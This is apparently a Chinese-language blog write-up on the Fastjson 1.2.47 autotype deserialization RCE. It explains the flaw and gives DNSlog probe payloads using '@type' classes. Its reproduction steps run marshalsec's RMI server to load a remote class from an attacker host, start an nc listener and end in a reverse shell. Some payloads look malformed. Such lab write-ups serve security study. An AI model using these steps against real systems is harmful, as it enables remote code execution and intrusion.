type
status
date
slug
summary
tags
category
icon
password
漏洞原理
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
影响版本
Fastjson1.2.47以及之前的所有版本
复现思路
参考1.2.24 rce
漏洞检测
工具地址:https://github.com/a1phaboy/FastjsonScan/releases/tag/v1.1
手动检测:
{"a":{"@type":"java.net.Inet4Address","val":"dnslog"}} {"a":{"@type":"java.net.Inet6Address","val":"dnslog"}} {"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}} {"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}} {"a":{"@type":"java.net.URL","val":"dnslog"}}
通过burp发送


工具探测:

漏洞复现:
新建TouchFile.java,并用javac编译,生成TouchFile.class
启动python的临时服务器
python3 -m http.server 1234

使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个rmi服务加载远程类TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.131:1234/#TouchFile" 9999

kali开启nc监听
nc -lvvp 4444
最后burp向目标服务器发送poc
成功反弹shell
